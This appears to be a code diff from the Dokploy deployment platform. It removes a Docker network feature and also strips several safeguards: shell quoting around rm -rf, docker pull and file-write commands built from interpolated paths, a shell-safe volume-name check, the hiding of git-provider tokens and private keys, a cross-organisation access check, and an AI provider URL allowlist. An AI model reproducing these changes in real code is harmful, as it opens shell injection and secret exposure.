-	enableIPv6: boolean("enableIPv6").notNull().default(false),
-	ipam: jsonb("ipam")
-		.$type<{
-			driver?: string;
-			config?: Array<{ subnet?: string; gateway?: string; ipRange?: string }>;
-		}>()
-		.default({}),
-	createdAt: text("createdAt")
-		.notNull()
-		.$defaultFn(() => new Date().toISOString()),
-	organizationId: text("organizationId")
-		.notNull()
-		.references(() => organization.id, { onDelete: "cascade" }),
-	serverId: text("serverId").references(() => server.serverId, {
-		onDelete: "cascade",
-	}),
-});
-
-export const networkRelations = relations(network, ({ one }) => ({
-	organization: one(organization, {
-		fields: [network.organizationId],
-		references: [organization.id],
-	}),
-	server: one(server, {
-		fields: [network.serverId],
-		references: [server.serverId],
-	}),
-}));
-
-const createSchema = createInsertSchema(network, {
-	networkId: z.string().min(1),
-	name: z.string().min(1),
-	driver: z.enum(["bridge", "overlay"]).optional(),
-	internal: z.boolean().optional(),
-	attachable: z.boolean().optional(),
-	enableIPv4: z.boolean().optional(),
-	enableIPv6: z.boolean().optional(),
-	ipam: z
-		.object({
-			driver: z.string().optional(),
-			config: z
-				.array(
-					z.object({
-						subnet: z.string().optional(),
-						gateway: z.string().optional(),
-						ipRange: z.string().optional(),
-					}),
-				)
-				.optional(),
-		})
-		.optional(),
-	organizationId: z.string().min(1),
-	serverId: z.string().optional().nullable(),
-});
-
-const validateNetworkInput = (
-	input: {
-		enableIPv4?: boolean;
-		enableIPv6?: boolean;
-		ipam?: {
-			config?: Array<{ subnet?: string; gateway?: string; ipRange?: string }>;
-		} | null;
-	},
-	ctx: z.RefinementCtx,
-) => {
-	if (input.enableIPv4 === false && input.enableIPv6 !== true) {
-		ctx.addIssue({
-			code: z.ZodIssueCode.custom,
-			path: ["enableIPv4"],
-			message: "IPv4 or IPv6 must be enabled",
-		});
-	}
-	for (const [index, entry] of (input.ipam?.config ?? []).entries()) {
-		if (!entry.subnet && (entry.gateway || entry.ipRange)) {
-			ctx.addIssue({
-				code: z.ZodIssueCode.custom,
-				path: ["ipam", "config", index, "subnet"],
-				message: "Gateway and IP range require a subnet",
-			});
-		}
-	}
-};
-
-export const apiCreateNetwork = createSchema
-	.pick({
-		name: true,
-		driver: true,
-		internal: true,
-		attachable: true,
-		enableIPv4: true,
-		enableIPv6: true,
-		ipam: true,
-		serverId: true,
-	})
-	.partial()
-	.required({ name: true })
-	.superRefine(validateNetworkInput);
-
-export const apiFindOneNetwork = createSchema
-	.pick({
-		networkId: true,
-	})
-	.required();
-
-export const apiRemoveNetwork = createSchema
-	.pick({
-		networkId: true,
-	})
-	.required();

packages/server/src/db/schema/postgres.ts

@@ -86,7 +86,6 @@ export const postgres = pgTable("postgres", {
 	serverId: text("serverId").references(() => server.serverId, {
 		onDelete: "cascade",
 	}),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const postgresRelations = relations(postgres, ({ one, many }) => ({

packages/server/src/db/schema/redis.ts

@@ -80,7 +80,6 @@ export const redis = pgTable("redis", {
 	serverId: text("serverId").references(() => server.serverId, {
 		onDelete: "cascade",
 	}),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const redisRelations = relations(redis, ({ one, many }) => ({

packages/server/src/db/schema/schedule.ts

@@ -57,7 +57,6 @@ export const schedules = pgTable("schedule", {
 });
 
 export type Schedule = typeof schedules.$inferSelect;
-export type ScheduleType = Schedule["scheduleType"];
 
 export const schedulesRelations = relations(schedules, ({ one, many }) => ({
 	application: one(applications, {
@@ -79,9 +78,7 @@ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
 	deployments: many(deployments),
 }));
 
-export const createScheduleSchema = createInsertSchema(schedules, {
+export const createScheduleSchema = createInsertSchema(schedules);
-	scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
-});
 
 export const updateScheduleSchema = createScheduleSchema.extend({
 	scheduleId: z.string().min(1),

packages/server/src/db/schema/server.ts

@@ -19,7 +19,6 @@ import { libsql } from "./libsql";
 import { mariadb } from "./mariadb";
 import { mongo } from "./mongo";
 import { mysql } from "./mysql";
-import { network } from "./network";
 import { postgres } from "./postgres";
 import { redis } from "./redis";
 import { schedules } from "./schedule";
@@ -126,7 +125,6 @@ export const serverRelations = relations(server, ({ one, many }) => ({
 	mysql: many(mysql),
 	postgres: many(postgres),
 	certificates: many(certificates),
-	networks: many(network),
 	organization: one(organization, {
 		fields: [server.organizationId],
 		references: [organization.id],

packages/server/src/db/schema/utils.ts

@@ -41,12 +41,6 @@ export const APP_NAME_REGEX = /^[a-zA-Z0-9._-]+$/;
 export const APP_NAME_MESSAGE =
 	"App name can only contain letters, numbers, dots, underscores and hyphens";
 
-/** Docker volume name: must start alphanumeric, then letters/numbers/._- only. Safe for shell. */
-export const VOLUME_NAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
-
-export const VOLUME_NAME_MESSAGE =
-	"Volume name must start with a letter or number and contain only letters, numbers, dots, underscores and hyphens";
-
 /** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */
 export const DATABASE_PASSWORD_REGEX =
 	/^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;

packages/server/src/db/schema/volume-backups.ts

@@ -14,11 +14,7 @@ import { serviceType } from "./mount";
 import { mysql } from "./mysql";
 import { postgres } from "./postgres";
 import { redis } from "./redis";
-import {
+import { generateAppName } from "./utils";
-	generateAppName,
-	VOLUME_NAME_MESSAGE,
-	VOLUME_NAME_REGEX,
-} from "./utils";
 
 export const volumeBackups = pgTable("volume_backup", {
 	volumeBackupId: text("volumeBackupId")
@@ -117,9 +113,7 @@ export const volumeBackupsRelations = relations(
 	}),
 );
 
-export const createVolumeBackupSchema = createInsertSchema(volumeBackups, {
+export const createVolumeBackupSchema = createInsertSchema(volumeBackups).omit({
-	volumeName: z.string().regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
-}).omit({
 	volumeBackupId: true,
 });
 

packages/server/src/index.ts

@@ -28,7 +28,6 @@ export * from "./services/mariadb";
 export * from "./services/mongo";
 export * from "./services/mount";
 export * from "./services/mysql";
-export * from "./services/network";
 export * from "./services/notification";
 export * from "./services/patch";
 export * from "./services/patch-repo";

packages/server/src/lib/auth.ts

@@ -419,7 +419,7 @@ const createBetterAuth = () =>
 				enableMetadata: true,
 				references: "user",
 			}),
-			sso({ trustEmailVerified: true }),
+			sso(),
 			scim({
 				beforeSCIMTokenGenerated: async ({ user }) => {
 					const dbUser = await db.query.user.findFirst({

packages/server/src/services/ai.ts

@@ -1,6 +1,5 @@
 import { db } from "@dokploy/server/db";
-import { ai, organization } from "@dokploy/server/db/schema";
+import { ai } from "@dokploy/server/db/schema";
-import { aiCustomProviderSchema } from "@dokploy/server/db/schema/ai";
 import { selectAIProvider } from "@dokploy/server/utils/ai/select-ai-provider";
 import { TRPCError } from "@trpc/server";
 import { generateText, Output } from "ai";
@@ -49,74 +48,9 @@ export const getAiSettingById = async (aiId: string) => {
 	return aiSetting;
 };
 
-type AiCustomProvider = z.infer<typeof aiCustomProviderSchema>;
-
-const parseOrgMetadata = (metadata: string | null) => {
-	try {
-		const parsed = JSON.parse(metadata || "{}");
-		return typeof parsed === "object" && parsed !== null
-			? (parsed as Record<string, unknown>)
-			: {};
-	} catch {
-		return {};
-	}
-};
-
-export const getCustomAiProviders = async (organizationId: string) => {
-	const org = await db.query.organization.findFirst({
-		where: eq(organization.id, organizationId),
-	});
-	const metadata = parseOrgMetadata(org?.metadata ?? null);
-	const result = z
-		.array(aiCustomProviderSchema)
-		.safeParse(metadata.aiProviders);
-	return result.success ? result.data : [];
-};
-
-export const saveCustomAiProviders = async (
-	organizationId: string,
-	providers: AiCustomProvider[],
-) => {
-	const org = await db.query.organization.findFirst({
-		where: eq(organization.id, organizationId),
-	});
-	if (!org) {
-		throw new TRPCError({
-			code: "NOT_FOUND",
-			message: "Organization not found",
-		});
-	}
-	const metadata = parseOrgMetadata(org.metadata);
-	metadata.aiProviders = providers;
-	await db
-		.update(organization)
-		.set({ metadata: JSON.stringify(metadata) })
-		.where(eq(organization.id, organizationId));
-	return providers;
-};
-
-const normalizeApiUrl = (url: string) => url.trim().replace(/\/+$/, "");
-
 export const saveAiSettings = async (organizationId: string, settings: any) => {
 	const aiId = settings.aiId;
 
-	if (settings.apiUrl) {
-		const customProviders = await getCustomAiProviders(organizationId);
-		if (customProviders.length > 0) {
-			const isAllowed = customProviders.some(
-				(provider) =>
-					normalizeApiUrl(provider.apiUrl) === normalizeApiUrl(settings.apiUrl),
-			);
-			if (!isAllowed) {
-				throw new TRPCError({
-					code: "FORBIDDEN",
-					message:
-						"This API URL is not in your organization's allowed AI providers",
-				});
-			}
-		}
-	}
-
 	return db
 		.insert(ai)
 		.values({

packages/server/src/services/application.ts

@@ -102,24 +102,10 @@ export const findApplicationById = async (applicationId: string) => {
 			redirects: true,
 			security: true,
 			ports: true,
-			gitlab: {
+			gitlab: true,
-				columns: { secret: false, accessToken: false, refreshToken: false },
+			github: true,
-			},
+			bitbucket: true,
-			github: {
+			gitea: true,
-				columns: {
-					githubClientSecret: false,
-					githubPrivateKey: false,
-					githubWebhookSecret: false,
-				},
-			},
-			bitbucket: { columns: { appPassword: false, apiToken: false } },
-			gitea: {
-				columns: {
-					clientSecret: false,
-					accessToken: false,
-					refreshToken: false,
-				},
-			},
 			server: true,
 			previewDeployments: true,
 			registry: { columns: { password: false } },

packages/server/src/services/certificate.ts

@@ -9,7 +9,6 @@ import {
 import { removeDirectoryIfExistsContent } from "@dokploy/server/utils/filesystem/directory";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
-import { quote } from "shell-quote";
 import { stringify } from "yaml";
 import type { z } from "zod";
 import { encodeBase64 } from "../utils/docker/utils";
@@ -64,7 +63,7 @@ export const removeCertificateById = async (certificateId: string) => {
 	const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath);
 
 	if (certificate.serverId) {
-		await execAsyncRemote(certificate.serverId, `rm -rf ${quote([certDir])}`);
+		await execAsyncRemote(certificate.serverId, `rm -rf ${certDir}`);
 	} else {
 		await removeDirectoryIfExistsContent(certDir);
 	}
@@ -109,10 +108,10 @@ const createCertificateFiles = async (certificate: Certificate) => {
 		const certificateData = encodeBase64(certificate.certificateData);
 		const privateKey = encodeBase64(certificate.privateKey);
 		const command = `
-			mkdir -p ${quote([certDir])};
+			mkdir -p ${certDir};
-			echo "${certificateData}" | base64 -d > ${quote([crtPath])};
+			echo "${certificateData}" | base64 -d > "${crtPath}";
-			echo "${privateKey}" | base64 -d > ${quote([keyPath])};
+			echo "${privateKey}" | base64 -d > "${keyPath}";
-			echo "${yamlConfig}" > ${quote([configFile])};
+			echo "${yamlConfig}" > "${configFile}";
 		`;
 
 		await execAsyncRemote(certificate.serverId, command);

packages/server/src/services/compose.ts

@@ -33,7 +33,6 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
 import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
-import { quote } from "shell-quote";
 import type { z } from "zod";
 import { encodeBase64 } from "../utils/docker/utils";
 import { getDokployUrl } from "./admin";
@@ -473,7 +472,7 @@ export const startCompose = async (composeId: string) => {
 		const projectPath = join(COMPOSE_PATH, compose.appName, "code");
 		const path =
 			compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
-		const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
+		const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
 		if (compose.composeType === "docker-compose") {
 			if (compose.serverId) {
 				await execAsyncRemote(

packages/server/src/services/docker.ts

@@ -2,7 +2,6 @@ import {
 	execAsync,
 	execAsyncRemote,
 } from "@dokploy/server/utils/process/execAsync";
-import { quote } from "shell-quote";
 
 export const getContainers = async (serverId?: string | null) => {
 	try {
@@ -520,7 +519,7 @@ export const getSwarmNodes = async (serverId?: string) => {
 
 export const getNodeInfo = async (nodeId: string, serverId?: string) => {
 	try {
-		const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
+		const command = `docker node inspect ${nodeId} --format '{{json .}}'`;
 		let stdout = "";
 		let stderr = "";
 		if (serverId) {

packages/server/src/services/git-provider.ts

@@ -119,30 +119,3 @@ export const getAccessibleGitProviderIds = async (session: {
 	}
 	return result;
 };
-
-/**
- * Authorizes read access to a specific git provider for the current session.
- * Throws if the provider belongs to a different organization (cross-org IDOR)
- * or if the caller is not entitled to it within the active organization.
- * Must be called before returning any git-provider record that carries secrets
- * (OAuth tokens, app private keys, webhook secrets).
- */
-export const assertGitProviderAccess = async (
-	session: { userId: string; activeOrganizationId: string },
-	provider: { gitProviderId: string; organizationId: string },
-) => {
-	if (provider.organizationId !== session.activeOrganizationId) {
-		throw new TRPCError({
-			code: "NOT_FOUND",
-			message: "Git provider not found",
-		});
-	}
-
-	const accessibleIds = await getAccessibleGitProviderIds(session);
-	if (!accessibleIds.has(provider.gitProviderId)) {
-		throw new TRPCError({
-			code: "FORBIDDEN",
-			message: "You don't have access to this git provider",
-		});
-	}
-};

packages/server/src/services/libsql.ts

@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
-import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -141,7 +140,7 @@ export const deployLibsql = async (
 		if (libsql.serverId) {
 			await execAsyncRemote(
 				libsql.serverId,
-				`docker pull ${quote([libsql.dockerImage])}`,
+				`docker pull ${libsql.dockerImage}`,
 				onData,
 			);
 		} else {

packages/server/src/services/mariadb.ts

@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
-import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -146,7 +145,7 @@ export const deployMariadb = async (
 		if (mariadb.serverId) {
 			await execAsyncRemote(
 				mariadb.serverId,
-				`docker pull ${quote([mariadb.dockerImage])}`,
+				`docker pull ${mariadb.dockerImage}`,
 				onData,
 			);
 		} else {

packages/server/src/services/mongo.ts

@@ -12,7 +12,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
-import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -161,7 +160,7 @@ export const deployMongo = async (
 		if (mongo.serverId) {
 			await execAsyncRemote(
 				mongo.serverId,
-				`docker pull ${quote([mongo.dockerImage])}`,
+				`docker pull ${mongo.dockerImage}`,
 				onData,
 			);
 		} else {

packages/server/src/services/mount.ts

@@ -18,7 +18,6 @@ import {
 } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, type SQL, sql } from "drizzle-orm";
-import { quote } from "shell-quote";
 import type { z } from "zod";
 
 export type Mount = typeof mounts.$inferSelect;
@@ -318,7 +317,7 @@ export const updateFileMount = async (mountId: string) => {
 	try {
 		const serverId = await getServerId(mount);
 		const encodedContent = encodeBase64(mount.content || "");
-		const command = `echo "${encodedContent}" | base64 -d > ${quote([fullPath])}`;
+		const command = `echo "${encodedContent}" | base64 -d > ${fullPath}`;
 		if (serverId) {
 			await execAsyncRemote(serverId, command);
 		} else {
@@ -338,7 +337,7 @@ export const deleteFileMount = async (mountId: string) => {
 	try {
 		const serverId = await getServerId(mount);
 		if (serverId) {
-			const command = `rm -rf ${quote([fullPath])}`;
+			const command = `rm -rf ${fullPath}`;
 			await execAsyncRemote(serverId, command);
 		} else {
 			await removeFileOrDirectory(fullPath);

packages/server/src/services/mysql.ts

@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
-import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -144,7 +143,7 @@ export const deployMySql = async (
 		if (mysql.serverId) {
 			await execAsyncRemote(
 				mysql.serverId,
-				`docker pull ${quote([mysql.dockerImage])}`,
+				`docker pull ${mysql.dockerImage}`,
 				onData,
 			);
 		} else {

packages/server/src/services/network.ts

@@ -1,337 +0,0 @@
-import { db } from "@dokploy/server/db";
-import { type apiCreateNetwork, network } from "@dokploy/server/db/schema";
-import { TRPCError } from "@trpc/server";
-import { and, eq, isNull } from "drizzle-orm";
-import type { z } from "zod";
-import { IS_CLOUD } from "../constants";
-import { getRemoteDocker } from "../utils/servers/remote-docker";
-
-// Networks managed by Docker/Dokploy itself that must never be imported
-// or deleted through the networks UI
-const RESERVED_NETWORKS = [
-	"bridge",
-	"host",
-	"none",
-	"ingress",
-	"docker_gwbridge",
-	"dokploy-network",
-];
-
-type DockerNetworkInfo = {
-	Name: string;
-	Driver: string;
-	Internal?: boolean;
-	Attachable?: boolean;
-	Ingress?: boolean;
-	EnableIPv4?: boolean;
-	EnableIPv6?: boolean;
-	IPAM?: {
-		Driver?: string;
-		Config?: Array<{
-			Subnet?: string;
-			Gateway?: string;
-			IPRange?: string;
-		}> | null;
-	};
-};
-
-const isImportableDockerNetwork = (dockerNetwork: DockerNetworkInfo) =>
-	!RESERVED_NETWORKS.includes(dockerNetwork.Name) &&
-	!dockerNetwork.Ingress &&
-	(dockerNetwork.Driver === "bridge" || dockerNetwork.Driver === "overlay");
-
-const mapDockerNetworkToRow = (
-	dockerNetwork: DockerNetworkInfo,
-	organizationId: string,
-	serverId: string | null,
-) => ({
-	name: dockerNetwork.Name,
-	driver: dockerNetwork.Driver as "bridge" | "overlay",
-	internal: dockerNetwork.Internal ?? false,
-	attachable: dockerNetwork.Attachable ?? false,
-	// Older daemons don't report EnableIPv4; IPv4 is always on there
-	enableIPv4: dockerNetwork.EnableIPv4 ?? true,
-	enableIPv6: dockerNetwork.EnableIPv6 ?? false,
-	ipam: {
-		driver: dockerNetwork.IPAM?.Driver,
-		config: (dockerNetwork.IPAM?.Config ?? []).map((c) => ({
-			subnet: c.Subnet,
-			gateway: c.Gateway,
-			ipRange: c.IPRange,
-		})),
-	},
-	organizationId,
-	serverId,
-});
-
-const findNetworksByServer = async (
-	organizationId: string,
-	serverId: string | null,
-) => {
-	return await db.query.network.findMany({
-		where: and(
-			eq(network.organizationId, organizationId),
-			serverId ? eq(network.serverId, serverId) : isNull(network.serverId),
-		),
-	});
-};
-
-export const findNetworksToSync = async (
-	organizationId: string,
-	serverId: string | null,
-) => {
-	if (IS_CLOUD && !serverId) {
-		throw new TRPCError({
-			code: "BAD_REQUEST",
-			message: "Server is required",
-		});
-	}
-
-	const docker = await getRemoteDocker(serverId);
-	let dockerNetworks: DockerNetworkInfo[] = [];
-	try {
-		dockerNetworks = (await docker.listNetworks()) as DockerNetworkInfo[];
-	} catch (error) {
-		throw new TRPCError({
-			code: "BAD_REQUEST",
-			message:
-				error instanceof Error
-					? error.message
-					: "Failed to list Docker networks",
-			cause: error,
-		});
-	}
-
-	const existing = await findNetworksByServer(organizationId, serverId);
-	const existingNames = new Set(existing.map((row) => row.name));
-	const dockerNames = new Set(dockerNetworks.map((d) => d.Name));
-
-	const importable = dockerNetworks
-		.filter(
-			(dockerNetwork) =>
-				isImportableDockerNetwork(dockerNetwork) &&
-				!existingNames.has(dockerNetwork.Name),
-		)
-		.map((dockerNetwork) => ({
-			name: dockerNetwork.Name,
-			driver: dockerNetwork.Driver,
-			internal: dockerNetwork.Internal ?? false,
-			attachable: dockerNetwork.Attachable ?? false,
-			subnets: (dockerNetwork.IPAM?.Config ?? [])
-				.map((c) => c.Subnet)
-				.filter((s): s is string => !!s),
-		}));
-
-	// Rows in Dokploy whose network no longer exists in Docker
-	const missing = existing
-		.filter((row) => !dockerNames.has(row.name))
-		.map((row) => ({ networkId: row.networkId, name: row.name }));
-
-	return { importable, missing };
-};
-
-export const importDockerNetworks = async (
-	organizationId: string,
-	serverId: string | null,
-	names: string[],
-) => {
-	if (IS_CLOUD && !serverId) {
-		throw new TRPCError({
-			code: "BAD_REQUEST",
-			message: "Server is required",
-		});
-	}
-
-	const docker = await getRemoteDocker(serverId);
-	const existing = await findNetworksByServer(organizationId, serverId);
-	const existingNames = new Set(existing.map((row) => row.name));
-
-	const imported: string[] = [];
-	const errors: { name: string; error: string }[] = [];
-
-	for (const name of names) {
-		if (existingNames.has(name)) {
-			errors.push({ name, error: "Already imported" });
-			continue;
-		}
-		try {
-			const info = (await docker
-				.getNetwork(name)
-				.inspect()) as DockerNetworkInfo;
-			if (!isImportableDockerNetwork(info)) {
-				errors.push({ name, error: "Network is reserved or not supported" });
-				continue;
-			}
-			await db
-				.insert(network)
-				.values(mapDockerNetworkToRow(info, organizationId, serverId));
-			imported.push(name);
-		} catch (error) {
-			errors.push({
-				name,
-				error:
-					error instanceof Error ? error.message : "Failed to inspect network",
-			});
-		}
-	}
-
-	return { imported, errors };
-};
-
-export const findNetworkById = async (networkId: string) => {
-	const [row] = await db
-		.select()
-		.from(network)
-		.where(eq(network.networkId, networkId))
-		.limit(1);
-
-	if (!row) {
-		throw new TRPCError({
-			code: "NOT_FOUND",
-			message: "Network not found",
-		});
-	}
-
-	return row;
-};
-
-export const createNetwork = async (
-	input: z.infer<typeof apiCreateNetwork>,
-	organizationId: string,
-) => {
-	if (IS_CLOUD) {
-		if (!input.serverId) {
-			throw new TRPCError({
-				code: "BAD_REQUEST",
-				message: "Server is required",
-			});
-		}
-	}
-
-	const created = await db.transaction(async (tx) => {
-		const [row] = await tx
-			.insert(network)
-			.values({
-				...input,
-				organizationId,
-			})
-			.returning();
-
-		if (!row) {
-			throw new TRPCError({
-				code: "INTERNAL_SERVER_ERROR",
-				message: "Failed to create network",
-			});
-		}
-
-		await createDockerNetworkFromRow(row);
-
-		return row;
-	});
-
-	return created;
-};
-
-const createDockerNetworkFromRow = async (row: typeof network.$inferSelect) => {
-	const ipam = row.ipam ?? {};
-	const ipamConfig = (ipam.config ?? [])
-		.map((c) => {
-			const entry: Record<string, string> = {};
-			if (c.subnet) entry.Subnet = c.subnet;
-			if (c.gateway) entry.Gateway = c.gateway;
-			if (c.ipRange) entry.IPRange = c.ipRange;
-			return entry;
-		})
-		.filter((e) => Object.keys(e).length > 0);
-
-	const docker = await getRemoteDocker(row.serverId ?? null);
-	try {
-		await docker.createNetwork({
-			Name: row.name,
-			Driver: row.driver,
-			CheckDuplicate: true,
-			Internal: row.internal,
-			Attachable: row.attachable,
-			// EnableIPv4 is missing from dockerode's types but supported by
-			// the daemon (API >= 1.47); the body is sent as-is
-			EnableIPv4: row.enableIPv4,
-			EnableIPv6: row.enableIPv6,
-			IPAM: {
-				Driver: ipam.driver || "default",
-				Config: ipamConfig.length > 0 ? ipamConfig : undefined,
-			},
-		} as Parameters<typeof docker.createNetwork>[0]);
-	} catch (error) {
-		throw new TRPCError({
-			code: "BAD_REQUEST",
-			message:
-				error instanceof Error
-					? error.message
-					: "Failed to create Docker network",
-			cause: error,
-		});
-	}
-};
-
-// Re-creates the Docker network from the stored record, for records whose
-// network was removed from Docker outside of Dokploy
-export const recreateNetwork = async (networkId: string) => {
-	const row = await findNetworkById(networkId);
-	await createDockerNetworkFromRow(row);
-	return row;
-};
-
-export const inspectNetwork = async (networkId: string) => {
-	const row = await findNetworkById(networkId);
-
-	const docker = await getRemoteDocker(row.serverId ?? null);
-	try {
-		return await docker.getNetwork(row.name).inspect();
-	} catch (error) {
-		throw new TRPCError({
-			code: "BAD_REQUEST",
-			message:
-				error instanceof Error
-					? error.message
-					: "Failed to inspect Docker network",
-			cause: error,
-		});
-	}
-};
-
-// Docker networks are immutable: there is no update, only create and remove.
-export const removeNetwork = async (networkId: string) => {
-	const row = await findNetworkById(networkId);
-
-	const docker = await getRemoteDocker(row.serverId ?? null);
-	try {
-		await docker.getNetwork(row.name).remove();
-	} catch (error) {
-		// If the network is already gone from Docker, still clean up the DB row
-		const statusCode = (error as { statusCode?: number })?.statusCode;
-		if (statusCode !== 404) {
-			throw new TRPCError({
-				code: "BAD_REQUEST",
-				message:
-					error instanceof Error
-						? error.message
-						: "Failed to remove Docker network",
-				cause: error,
-			});
-		}
-	}
-
-	const [deleted] = await db
-		.delete(network)
-		.where(eq(network.networkId, networkId))
-		.returning();
-
-	if (!deleted) {
-		throw new TRPCError({
-			code: "NOT_FOUND",
-			message: "Network not found",
-		});
-	}
-
-	return deleted;
-};